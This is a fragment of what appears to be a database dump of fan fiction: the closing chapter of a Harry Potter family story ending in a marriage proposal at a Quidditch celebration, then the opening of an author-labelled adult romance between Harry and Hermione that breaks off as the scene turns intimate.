you,&#8221;</p>\n\n<p>&#8220;Love you too,&#8221; Hermione smiled as Harry put out the lights.</p>\n\n<p>*** Six Months Later***</p>\n\n<p>Blue knocked on the back door of the Potters&#8217; home. He heard some voices and then a crash, and then Harry was opening the door.</p>\n\n<p>&#8220;Blue!&#8221; he said. &#8220;Come in!&#8221;</p>\n\n<p>&#8220;Thanks,&#8221; he replied, brushing his red hair out of his eyes. &#8220;Sorry, is this a bad time?&#8221;</p>\n\n<p>Harry grinned. &#8220;I&#8217;m alone with two five year olds&#8230;of course it is. But stay anyways; maybe you can calm them down.&#8221;</p>\n\n<p>&#8220;Maybe,&#8221; Blue grinned back. &#8220;I just needed to talk to you for a minute.&#8221;</p>\n\n<p>&#8220;What about?&#8221; Harry asked, sitting at the table. &#8220;Would you like some tea? Or some butterbeer?&#8221;</p>\n\n<p>&#8220;No thanks,&#8221; Blue replied. &#8220;Um&#8230; did you need to go in and fix whatever it was that broke?&#8221;</p>\n\n<p>&#8220;Nah, it&#8217;ll just be broken again in two minutes,&#8221; Harry said. </p>\n\n<p>&#8220;Okay,&#8221; Blue sat down next to Harry. &#8220;I uh&#8230; I came over because&#8230; I wanted&#8230;&#8221; he sighed, wondering why he couldn&#8217;t get the words out. &#8220;I want to propose to Caty.&#8221;</p>\n\n<p>Harry raised his eyebrows in surprise. &#8220;Really,&#8221; he began, not sure of what to say. </p>\n\n<p>&#8220;I know its sort of old fashioned and Muggle, but I wanted to come&#8230; ask&#8230; you before I actually did it.&#8221; Blue said. &#8220;But I know how close the two of you are and I want to be respectful of that.&#8221;</p>\n\n<p>Harry sat back in his chair. &#8220;Blue,&#8221; he started.</p>\n\n<p>&#8220;I know you probably don&#8217;t think we&#8217;re ready for such a step&#8230; but I love her so much and after everything that&#8217;s happened I want to have her as my wife,&#8221; Blue said, leaning forward eagerly. </p>\n\n<p>&#8220;Blue I&#8230;&#8221; Harry tried to begin again.</p>\n\n<p>&#8220;No, I really mean it.&#8221; Blue got up. &#8220;She&#8217;s been my best friend for a long time and we&#8217;ve been together going on six years,&#8221;</p>\n\n<p>&#8220;Blue,&#8221; Harry put a hand on the younger man&#8217;s arm. &#8220;Sit down.&#8221; </p>\n\n<p>&#8220;Okay,&#8221; Blue said, nervous.</p>\n\n<p>&#8220;I would love to have you as my son in law,&#8221; Harry said.</p>\n\n<p>&#8220;You would?&#8221; Blue looked shocked.</p>\n\n<p>&#8220;Of course,&#8221; Harry laughed. &#8220;Blue, you&#8217;ve been like one of the family for years now.&#8221; He leaned forward. &#8220;I know I may come off as overprotective, especially with my kids. I&#8217;ve got good reason for it.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Blue replied. &#8220;I&#8217;m just really nervous about asking her.&#8221;</p>\n\n<p>&#8220;Don&#8217;t be,&#8221; Harry said. &#8220;Caitlyn loves you; she has for a long time. If you ask her to marry you, she&#8217;ll say yes.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Blue stood up, obviously relieved. &#8220;Thanks, thanks a lot.&#8221;</p>\n\n<p>&#8220;Don&#8217;t mention it,&#8221; Harry replied. &#8220;When were you planning on doing it?&#8221;</p>\n\n<p>&#8220;After the game tomorrow at the party,&#8221; Blue replied. </p>\n\n<p>&#8220;I thought you weren&#8217;t playing?&#8221; Harry asked.</p>\n\n<p>&#8220;I&#8217;m not,&#8221; Blue sighed. &#8220;I mean, I went to Grace this morning and she said I&#8217;m fine now, and that I can go back and play next season. But I just wanted to be in the Cup&#8230;&#8221;</p>\n\n<p>&#8220;Yeah, you&#8217;re the reason the Cannons even made it so far,&#8221; Harry replied sympathetically, thinking of the time he was unable to play his favourite sport as well.</p>\n\n<p>&#8220;That&#8217;s part of the reason I came as well- I&#8217;ve been invited to sit in the top box, so I wanted to invite all of you as well.&#8221; Blue said. </p>\n\n<p>&#8220;That sounds great,&#8221; Harry replied. &#8220;Thanks Blue,&#8221;</p>\n\n<p>&#8220;I&#8217;m glad you can come,&#8221; Blue replied. &#8220;I better get going before Caty figures out I&#8217;m gone,&#8221; he grinned and Harry laughed. </p>\n\n<p>&#8220;I look forward to seeing her when you pop the question,&#8221; Harry got up. &#8220;Welcome to the family,&#8221; the two men hugged and then Blue waved goodbye and left. </p>\n\n<p>*** The Next Day***</p>\n\n<p>&#8220;Hellloooooo!&#8221; Caitlyn ran up to her best friend Mandy and hugged her. </p>\n\n<p>&#8220;Hey!&#8221; Mandy cried in surprise. &#8220;Hi!&#8221;</p>\n\n<p>&#8220;How are you?&#8221; Caitlyn was giggly today. </p>\n\n<p>&#8220;I&#8217;m fine. And I can tell you are too,&#8221; Mandy grinned. &#8220;I take it you two&#8230;&#8221; she raised her eyebrows.</p>\n\n<p>&#8220;Maybe,&#8221; Caitlyn replied lightly. After Blue had gotten a clean bill of health from Grace the previous morning, she had jumped on him, literally, and they spent most of the night making love. </p>\n\n<p>Mandy snickered. &#8220;Maybe my arse!&#8221; she said. &#8220;You haven&#8217;t been this happy in months!&#8221;</p>\n\n<p>&#8220;Sod off,&#8221; Caitlyn pushed her good naturedly. &#8220;Like you aren&#8217;t getting everything you want from Daniel!&#8221;</p>\n\n<p>&#8220;Maybe,&#8221; the two girls giggled. &#8220;Daniel said he&#8217;d meet me in the box upstairs.&#8221;</p>\n\n<p>&#8220;Blue was just around here somewhere,&#8221; Caitlyn looked through the crowd. &#8220;There he is!&#8221; she waved to her boyfriend.</p>\n\n<p>&#8220;Hey!&#8221; he shouted over the crowd. &#8220;We&#8217;d better get up there the match is starting soon!&#8221; </p>\n\n<p>&#8220;All right!&#8221; Caitlyn fought her way through the growing crowd, Mandy holding onto her elbow. &#8220;Let&#8217;s go!&#8221; she was excited.</p>\n\n<p>Blue tossed one arm around Mandy while pulling Caitlyn close to him with the other. &#8220;I&#8217;ve got two escorts. Lucky guy, I am.&#8221;</p>\n\n<p>Caitlyn grinned at him while Mandy snorted. &#8220;If I was to be <i>your</i> escort you&#8217;d be paying me in Galleons.&#8221; She said playfully and Blue laughed. They went up to the top box where Mandy sank next to her boyfriend Daniel. Caitlyn sat on the other side, Blue next to her. </p>\n\n<p>Blue put his arm around Caitlyn, pulling her over close to him. &#8220;Excited?&#8221; he asked, bumping her ear with his nose.</p>\n\n<p>&#8220;I&#8217;d be more excited if you were playing,&#8221; Caitlyn replied. &#8220;But there&#8217;s always next season.&#8221;</p>\n\n<p>&#8220;Right,&#8221; Blue said. &#8220;It feels too weird being up here, watching when I should be out on the field.&#8221; His stomach churned, suddenly thinking about what he was going to do later. He reached into his pocket to make sure the box was still there. </p>\n\n<p>Caitlyn turned and kissed him lightly. &#8220;I&#8217;ll keep your mind off the game if you get too antsy,&#8221;</p>\n\n<p>Blue grinned and he leaned in, kissing her again. </p>\n\n<p>&#8220;Break it up!&#8221; a voice sounded from behind them, and Blue and Caitlyn turned to see Colin grinning stupidly at them.</p>\n\n<p>&#8220;Sod off you little creep,&#8221; Caitlyn replied, pulling her younger brother over and hugging him hard. &#8220;I missed you, you pest.&#8221;</p>\n\n<p>&#8220;Ugh!&#8221; Colin pushed her away. &#8220;I didn&#8217;t miss you at all!&#8221;</p>\n\n<p>Caitlyn laughed, reaching out to muss up his hair. &#8220;Where are Mum and Dad?&#8221;</p>\n\n<p>&#8220;They were coming, they saw Uncle Ron outside so they&#8217;re talking,&#8221; Colin made a face. &#8220;Why do grown ups talk all the time? They live right next door!&#8221;</p>\n\n<p>Caitlyn and Blue were both still chuckling as Harry and Hermione came into the box, followed by the twins and Ron and Lavender bringing up the rear. </p>\n\n<p>&#8220;Looks like we got here just in time,&#8221; Harry said, greeting his daughter and future son in law. He winked and Blue, who smiled at the corner of his mouth. </p>\n\n<p>&#8220;The game&#8217;s about to start!&#8221; Ron was excited as he took his seat on the other side of his wife. Caitlyn got up and hugged her youngest brother and sister.</p>\n\n<p>&#8220;How are you two?&#8221; She ruffled Carl&#8217;s hair as Corinne hugged her around the waist.</p>\n\n<p>&#8220;We&#8217;re good,&#8221; Carl answered. </p>\n\n<p>&#8220;No nightmares?&#8221; Caitlyn asked.</p>\n\n<p>Corinne shook her head. &#8220;No, and Daddy says we might even be able to have our own rooms soon!&#8221;</p>\n\n<p>&#8220;Really?&#8221; Caitlyn pulled her sister over and sat her down, then taking the middle seat next to Blue. &#8220;You can have my old room; I probably won&#8217;t need it anymore.&#8221;</p>\n\n<p>Corinne smiled up at her older sister. For the first few weeks after that mean man had taken her and Carl, she had dreamed of their time spent in that ugly dark dungeon. A couple times, it had felt so real that she had gone into her parents&#8217; room, where they had held her and comforted her until she felt safe again. Carl always looked out for her as well. She felt lucky having him as her twin brother. </p>\n\n<p>The chatting in the top box quieted as the announcer started naming off the players. Blue noticeably tensed as they called out the reserve seeker&#8217;s name. Caitlyn saw it and squeezed his hand. </p>\n\n<p>&#8220;You all right?&#8221; she asked quietly.</p>\n\n<p>&#8220;Yeah,&#8221; Blue answered, his arm snaking its way around her shoulders. He twisted his fingers in her hair- she was letting it grow out again and it already reached several inches past her shoulders. &#8220;I just wish I was out there playing.&#8221;</p>\n\n<p>&#8220;You&#8217;ll be out there next Cup,&#8221; Caitlyn said, chastely kissing the skin underneath his ear. </p>\n\n<p>Harry witnessed the display of affection between his daughter and Blue and smiled. It was funny, he thought, just a few months ago he had disliked the idea of Caitlyn settling down. It was never a case of him liking Blue, but wanting her to be sure she was positive. Now&#8230; Harry realised that like he and Hermione, his daughter had found her soul mate.</p>\n\n<p>&#8220;Harry did you see that?&#8221; Ron asked excitedly, breaking Harry from his train of thought. &#8220;A complete reverse pass! Those never work!&#8221;</p>\n\n<p>&#8220;No, remember, the Pride of Portree managed to do several in one game, and Puddlemere, back when Oliver was on the team, do you remember his Double Eight Loops?&#8221; Harry turned back and he and Ron were immediately immersed in a discussion about what moves the teams should be making to win the game. </p>\n\n<p>Hermione rolled her eyes as she shifted so that her husband&#8217;s knee wouldn&#8217;t push into her side. &#8220;Honestly, you get these two talking about Quidditch and they&#8217;ll do it until they&#8217;re blue in the face.&#8221;</p>\n\n<p>Lavender agreed. &#8220;I don&#8217;t think they even realise we exist,&#8221; she added as Blue turned around in his seat and began arguing with Ron and Harry. &#8220;At least not when Quidditch is on hand.&#8221;</p>\n\n<p>&#8220;They&#8217;re so bloody involved in their argument they aren&#8217;t even watching the game,&#8221; Caitlyn chimed in, her expression lofty. </p>\n\n<p>Hermione and Lavender began to laugh as all three men sat up straight. &#8220;Sod off,&#8221; Ron said rudely, sitting back in his seat. </p>\n\n<p>&#8220;Nice language,&#8221; Hermione chastised. &#8220;We have children sitting here you know!&#8221;</p>\n\n<p>&#8220;Sorry,&#8221; Ron grunted. </p>\n\n<p>&#8220;Bloody hell, we&#8217;re trying to watch the game here!&#8221; Harry now spoke up. Hermione gave him an icy stare.</p>\n\n<p>&#8220;Keep up the language, Potter, and you&#8217;ll be on the sofa tonight.&#8221;</p>\n\n<p>&#8220;Sorry dear,&#8221; Harry replied, slinking down in his seat. Carl looked bewildered at his parents&#8217; conversation. </p>\n\n<p>&#8220;I&#8217;m not ever getting married,&#8221; he said decisively, making all the adults laugh. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>&#8220;We won!&#8221; Caitlyn squealed in delight as Blue laughed and swung her around in a circle. They were at a local pub celebrating the win of the Chudley Cannons. </p>\n\n<p>&#8220;I&#8217;m so excited!&#8221; Mandy was also near a shriek as she and Daniel joined them. </p>\n\n<p>&#8220;You know what this means, right mate?&#8221; Daniel clapped Blue on the shoulder. &#8220;Team&#8217;s got a lot to live up to next season.&#8221;</p>\n\n<p>&#8220;Tell me about it,&#8221; Blue replied. &#8220;I&#8217;ve got all lazy with this holiday and I have to go back and start training again in three months.&#8221;</p>\n\n<p>&#8220;Poor baby,&#8221; Caitlyn hugged him around the middle. &#8220;I won&#8217;t get to see you as often,&#8221; she pouted slightly and Blue grinned down at her.</p>\n\n<p>&#8220;Somehow I think you&#8217;ll be glad to have me out of the flat. We were driving each other mad towards the end there,&#8221; he answered.</p>\n\n<p>&#8220;Heyyyy!&#8221; a rather drunken voice interrupted them, and Monaghan and Doyle were grinning at them. &#8220;May I just say,&#8221; Monaghan bowed. &#8220;You ladies are looking quite lovely today.&#8221;</p>\n\n<p>Caitlyn and Mandy giggled. &#8220;Thanks,&#8221; they both answered.</p>\n\n<p>&#8220;Is the rest of the family coming?&#8221; Blue asked. </p>\n\n<p>&#8220;I think so, they should be here soon,&#8221; Caitlyn replied. &#8220;They may have decided to drop the kids off at home.&#8221;</p>\n\n<p>&#8220;So Blue, we might have to have you get up there and say a few words,&#8221; Doyle said, swaying slightly.</p>\n\n<p>&#8220;I didn&#8217;t even play today; you guys are the ones that won us the Cup.&#8221; Blue protested.</p>\n\n<p>&#8220;No way,&#8221; Monaghan replied. &#8220;You&#8230; you are the reason that we got to the Cup in the first place.&#8221; He staggered and grabbed onto Doyle. &#8220;You&#8217;re the speech man!&#8221; he raised his tankard of FireWhisky up. </p>\n\n<p>&#8220;All right, have another,&#8221; Blue replied, pushing him back towards the bar. &#8220;Bloody hell&#8230;&#8221;</p>\n\n<p>&#8220;Nervous?&#8221; Caitlyn joked. </p>\n\n<p>&#8220;No,&#8221; Blue replied. &#8220;I just really don&#8217;t fancy getting up in front of a bunch of people I don&#8217;t know and talking about why I couldn&#8217;t play today.&#8221;</p>\n\n<p>&#8220;Well just avoid it then,&#8221; Caitlyn said. &#8220;Talk about how good the team has gotten instead.&#8221;</p>\n\n<p>Blue grunted but when she rose up to kiss him he forgot about why he was so annoyed.</p>\n\n<p>&#8220;Hellooooo everyone!&#8221; a loud voice caused them to jump and break apart. The Chudley Cannons team was standing on a platform across the room, several of them swaying to stay upright. &#8220;We are SO glad to be here today, and we are all SO glad that you made it to celebrate our win with us!&#8221; the crowd applauded wildly and Caitlyn turned her head to see that their parents had arrived. </p>\n\n<p>&#8220;Hmm, they brought the kids after all&#8230;&#8220; Caitlyn mused to Blue.</p>\n\n<p>&#8220;Uh oh&#8230;&#8221; Blue grinned. &#8220;Our dads will be in a strop tonight.&#8221; They both laughed as Monaghan continued to scream the name of every player across the bar.</p>\n\n<p>&#8220;And there&#8217;s ONE more that isn&#8217;t up here, but he IS here!&#8221; Monaghan grinned out at the crowd. &#8220;He was off the team for some time due to injuries, but will be back and better than ever next season! Everyone give a round of applause to your favourite keeper and mine, Blazing Blue Weasley!!!&#8221;</p>\n\n<p>&#8220;Bloody hell, did he have to use that stupid name?&#8221; Blue muttered under his breath as his face turned the same red shade as his hair. He waved to the crowd who went into the most enthusiastic round of applause yet. </p>\n\n<p>&#8220;Get up here!&#8221; Monaghan and Doyle were blaring across the room. He squeezed Caitlyn&#8217;s hand briefly and made his way over to the platform.</p>\n\n<p>Blue took his wand, and muttering a quick &#8220;Sonorous&#8221;, he grinned at the crowd. &#8220;I&#8217;m really excited that the team won today. I wish I could have played. But as most of you know, an accident several months ago made that impossible. However, I&#8217;m glad to say that I will be returning next season, as Monaghan so nicely told you all.&#8221; He paused and everyone clapped. &#8220;There&#8217;s actually only one reason that I&#8217;m still standing here a sane man,&#8221; he grinned at the audience. </p>\n\n<p>&#8220;Oh bloody hell, he isn&#8217;t&#8230;&#8221; Caitlyn said, realising what her boyfriend&#8217;s intentions were.</p>\n\n<p>&#8220;There&#8217;s a very amazing girl among you today who helped me through this time when I couldn&#8217;t do much of anything. Despite me being a complete prat, she stood by my side during my worst moments,&#8221; Blue grinned even wider as he caught sight of Caitlyn&#8217;s red face. &#8220;Caty, come on up here!&#8221;</p>\n\n<p>&#8220;No!&#8221; she mouthed, her face going even redder. Mandy grinned and pushed her up near the platform. </p>\n\n<p>Harry started to laugh, realising exactly what Blue was up to. &#8220;This is getting good,&#8221; he said aloud, making Hermione look at him curiously.</p>\n\n<p>&#8220;What do you mean?&#8221; she asked, her hand on Corinne&#8217;s shoulder. </p>\n\n<p>&#8220;You&#8217;ll see,&#8221; Harry replied mysteriously, watching his daughter edge onto the stage. </p>\n\n<p>&#8220;<i>This</i>, this girl,&#8221; Blue grabbed Caitlyn&#8217;s hand. &#8220;She&#8217;s the love of my life and I&#8217;m the luckiest guy in the world because she&#8217;s chosen me,&#8221; he squeezed her fingers, trying to reassure her. He knew how much she hated being in front of a crowd. </p>\n\n<p>Caitlyn waved a small hello to the crowd and tried to pull away to flee the stage. &#8220;Wait!&#8221; Blue said. &#8220;I have a reason for bringing you up here!&#8221;</p>\n\n<p>&#8220;What&#8217;s that?&#8221; Caitlyn asked in a low voice.</p>\n\n<p>Mandy sighed as she watched her best friend and boyfriend. She liked Blue; he could be such a romantic at times. Daniel put his arm around her and she slid into his side. &#8220;He learned this all from me,&#8221; he whispered and she giggled.</p>\n\n<p>&#8220;I love you,&#8221; Blue said, looking straight into her eyes. &#8220;You&#8217;ve been the best thing about my life for a long time now, and I only want things to get better from here on out.&#8221; He released her hand and stepped back, going down on one knee. &#8220;With that in mind I have one thing to ask you,&#8221; Blue reached into his pocket and pulled out the small black box. &#8220;Caitlyn Elaera Potter, will you marry me?&#8221;</p>\n\n<p>Caitlyn felt her eyes grow wide. &#8220;Blue&#8230; really?&#8221; she asked in a tiny voice, afraid she might start to cry.</p>\n\n<p>&#8220;Yeah, really.&#8221; He replied, holding the box out to her. &#8220;Please?&#8221; he added, when she stared at him with no response. </p>\n\n<p>&#8220;Oh God, Blue, yes, yes of course I will!&#8221; Caitlyn said, two tears trickling down her face. Blue let out a sigh of relief and got up, pulling her into a bone crushing hug. </p>\n\n<p>Hermione gasped in joy. &#8220;Harry! They&#8217;re getting married!&#8221; she squealed as she turned to her husband. </p>\n\n<p>&#8220;Blue came over yesterday to ask my permission,&#8221; Harry replied. </p>\n\n<p>&#8220;Did he?&#8221; Hermione asked. &#8220;Lav!&#8221; she jumped over to the blonde woman and they squealed and hugged together while Harry and Ron grinned at each other. </p>\n\n<p>&#8220;Here,&#8221; Blue slipped the diamond ring over her finger as the crowd erupted in enthusiastic applause. </p>\n\n<p>&#8220;It&#8217;s gorgeous,&#8221; Caitlyn looked at it then back at him. He smiled down at her and then leaned over and kissed her, his arms going around her waist. &#8220;Mmm&#8230;&#8221; she said when they broke apart. &#8220;You know this is going to be all over the papers tomorrow morning.&#8221;</p>\n\n<p>&#8220;Don&#8217;t care,&#8221; Blue replied as they finally stepped off the stage. &#8220;You said yes, that&#8217;s all that matters.&#8221;</p>\n\n<p>&#8220;Did you really think I&#8217;d say no?&#8221; Caitlyn asked softly.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; He said. </p>\n\n<p>&#8220;I always would have said yes,&#8221; she leaned against him, her chin on his chest. They smiled at each other for a long moment before they were crowded by family and friends.</p>\n\n<p>&#8220;Congratulations!&#8221; Lavender and Hermione were smothering them in hugs. The newly engaged couple were separated as the well wishes continued, but as they smiled at one another they weren&#8217;t too worried.</p>\n\n<p>They could always be alone later. </p>\n\n<p><b>A/N: Wow&#8230; that&#8217;s it. I feel a bit shell shocked that this is all over, after working on it on and off for about two years.</b></p>\n\n<p><b></b></p>\n\n<p><b>I decided that I am going to do an epilogue to the entire series. I&#8217;m not quite sure when it will be out, but it will be just simply called &#8220;Epilogue&#8221;, and it&#8217;ll be a one shot.</b></p>\n\n<p><b></b></p>\n\n<p><b>Thanks again for those of you who took the time to review this story. It was because of YOU that I kept writing it. Feedback means a lot to me, and every comment is appreciated.</b></p>\n\n<p><b></b></p>\n\n<p><b>See you guys soon with the finish to the Raven, and some completely new stories! </b></p> '),
	(85, 1, '\n\n\n\n\n\n\n\n<p class="MsoNormal">(A/N: Okay peeps, here it\nis, my first NC 17 fic&#8230;. Nappa, I hope you appreciate this, cause I pushed it\nWAY up just for you LOL</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Okay, as if you didn&#8217;t\nalready realize, this is a sex fic! So if you get offended by things like this,\nturn back now. If not, well, enjoy! Heehee and please don&#8217;t forget to R/R, not\nflame!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">And, many MANY MANY thanks\nto Ryoko Blue for helping me write this, go read her stories after you&#8217;re done\nhere, she&#8217;s got lots of romance, action, adventure in her stories, you will\nenjoy them mucho.)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">BAM!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione Granger was jerked\nfrom a deep sleep by the loud rumble of thunder that echoed across the sky. As\nshe sat up and pulled her covers more tightly around her, the room lit up with\nan eerie white light and &#8211;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">BAM!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I hate thunderstorms.&#8221;\nHermione muttered to herself, squeezing her eyes shut. &#8220;I hate them I hate them\nI HATE THEM!&#8221; She opened her eyes to see another white flash light up her room,\nand then quickly reached over to snap on her bedside light. She pushed the\nbutton on the base of the lamp, but no light came from it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh bother!&#8221; she said\ndesperately. She grabbed her wand that was sitting on the nightstand, but in\nher panic, it rolled off and under her bed. Hermione grabbed her hair and\nemitted a loud frustrated sound. Another white flash and loud bam had Hermione\nscurrying out of her room and down the hallway. She picked up the Muggle phone\nin her kitchen and dialed her boyfriend&#8217;s number. Hermione pressed the phone\nagainst her ear and was completely dismayed to find no dial tone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Damn it!&#8221; she slammed it\ndown on the receiver and took a few deep breaths, willing herself to calm.&nbsp; &#8220;You&#8217;re a witch, Hermione. You can apparate\nover to his place.&#8221; Nodding at her decision, she hurried back down the hallway\nand grabbed her robe. Pulling it on securely over her pajamas, she apparated to\nhis flat. She appeared in his living room, where she smiled to see the still\ndying embers of the fire they had sat in front of that evening. Knowing exactly\nhow the flat was laid out, she made her way to his bedroom and opened the door\nto find him sleeping soundly in bed. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry.&#8221; Hermione said\nquietly, bending over him. His head lolled as she shook him gently and his\nmouth fell open a bit, but he did not wake. She shook him harder and he\ngroaned. &#8220;Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione?&#8221; Harry mumbled\nsleepily as his eyes cracked open. &#8220;What are you doing here? His voice was\nthick with sleep and she sat down on the bed next to him. More alert now, he\nsat up, the sheet falling and exposing his bare chest. &#8220;Is everything all\nright?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m okay now.&#8221; Hermione\nsaid. She gestured to the raging storm outside. &#8220;I just, you know&#8230;I hate being\nhome alone in a storm and my power was knocked out&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ahhh, of course.&#8221; Harry\nsaid. He knew about Hermione&#8217;s fear of thunderstorms, how she had been left\nalone in one when she was a child, that storm had almost turned into a tornado\nand she had not known what to do. For some reason she&#8217;d never been able to\nshake this fear no matter what. Now, Harry just pulled her into his warm\nembrace. &#8220;Come on, I&#8217;ll make you some tea.&#8221; He said, pulling her up from the\nbed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s power was out as\nwell, he found a few candles in a drawer in his kitchen and lit them, charming\nthem to float to whatever room they were in. Lightning lit up the kitchen\nbrightly as Hermione sat down at the table. The loud rumbling of thunder soon\nfollowed, and Hermione shivered despite the fact that she was no longer alone.\nShe got up and went to Harry, who was heating up water to use for their tea.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t need any tea.&#8221; She\nsaid, wrapping her arms around his middle and burying her face in his back. The\nthunder rolled loudly again and Hermione jumped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm, it&#8217;s okay.&#8221; Harry\nsaid, slightly amused at her behavior. He turned around and pulled her tight\nagainst his chest.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I just can&#8217;t help but be\nglad you don&#8217;t have a tree outside your window.&#8221; Hermione said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well like in that Muggle\nmovie Poltergeist, during a thunderstorm the tree came through the window and\ntried to eat that little boy&#8230;&#8221; Hermione was cut off by Harry&#8217;s loud laughter;\nhe was doubled over, clutching his stomach. &#8220;I&#8217;m glad you find my being scared\nso amusing Harry!&#8221; she snapped and stalked out of the kitchen. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aw, come on Hermione,&#8221;\nHarry followed her out to his living room. &#8220;You have to admit that&#8217;s funny as\nhell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She tried to glare at him,\nbut found herself trying to contain a smile at his puppy dog face. &#8220;Okay\nmaybe&#8230;&#8221; she lamented. Harry relit the fire and sat down in front of it, patting\nthe spot next to him. She sat down and leaned up against him, he reached back\nand pulled down a soft cotton blanket and wrapped it around the both of them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If you want to go back to\nsleep, go ahead.&#8221; Harry said. &#8220;I&#8217;ll stay awake.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re so sweet.&#8221; Hermione\nsaid, reaching up one hand to caress the side of his face. &#8220;But I don&#8217;t&#8217; feel\nmuch like sleeping anymore.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; Harry said. &#8220;What do\nyou feel like doing?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione turned around and\nfaced him. Between the fire and the candles, there was enough light in the room\nto make her finally feel comfortable against the storm outside. She let her\neyes drop coyly; the atmosphere was quite romantic actually. &#8220;Candles, a fire&#8230;&#8221;\nHermione said. &#8220;What more could I be asking for in a setting?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry was looking at her\nwith playful suspicion. &#8220;You know, if I didn&#8217;t know any better I&#8217;d swear you\ndidn&#8217;t just come over here because you are afraid of storms.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione pretended to be\noffended. &#8220;That&#8217;s not so. You just bring out a sense of longing in me that just\ncan&#8217;t be ignored&#8230;&#8221; she trailed off and looked up at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is that so?&#8221; Harry asked.\n&#8220;I bet I could bring out more than just longing.&#8221; He bent down and ever so\nlightly brushed his lips on hers. She tried to deepen the kiss, but he pulled\nhis head back. &#8220;I bet I can make you scream from sensual torture.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You already had me\nscreaming earlier today, right on this spot.&#8221; Hermione said, referring to the\nloud bout of sex they&#8217;d had that evening. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But this would be\ndifferent. You wouldn&#8217;t be screaming from pleasure.&#8221; Harry replied. He raised\nhis eyebrows at her. &#8220;You want to try it?&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione regarded Harry\nclosely. &#8220;All right.&#8221; She said. &#8220;But I warn you, I can handle anything you do\nto me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, let&#8217;s find out.&#8221;\nHarry said. He pulled the blanket away from them and tossed it aside. He let\nhis green eyes travel slowly up and down her body, making Hermione shiver\nunconsciously. He reached out a hand slowly and tugged on the belt that kept\nher robe together. It came off easily, and Harry drew the robe over her\nshoulders, making sure that his hands brushed her skin lightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione closed her eyes,\nenjoying the feel of Harry&#8217;s touch. She let her head fall back a little, the\nsensations he was creating by brushing his fingertips over her bare skin was\ntantalizing. He took his index finger and hooked it around the spaghetti strap\nof her pajama tank top, and tugged it down her arm. He leaned over and pressed\nhis lips lightly to the spot where it had just been, and trailed his lips up\nthe side of her neck, just barely grazing her skin. Hermione took her hand and rested\nit on his back, drawing her fingernails up and down. It was his turn to shiver\nas he pressed his mouth to her neck once more, this time suckling lightly and\nleaving a faint mark. He drew away the other strap to her top, then trailed his\nfingers down each side and drew the shirt over her head. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry felt his breath catch\nin his throat as he looked down at her; she wore no bra. Her eyes revealed a\nbit of nervousness as he stared at her beauty.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Do I look all right?&#8221; she\nasked. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, you look better\nthan all right.&#8221; Harry said. &#8220;You are the most beautiful thing in the world,\nthere is no need to be nervous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Okay.&#8221; She said. 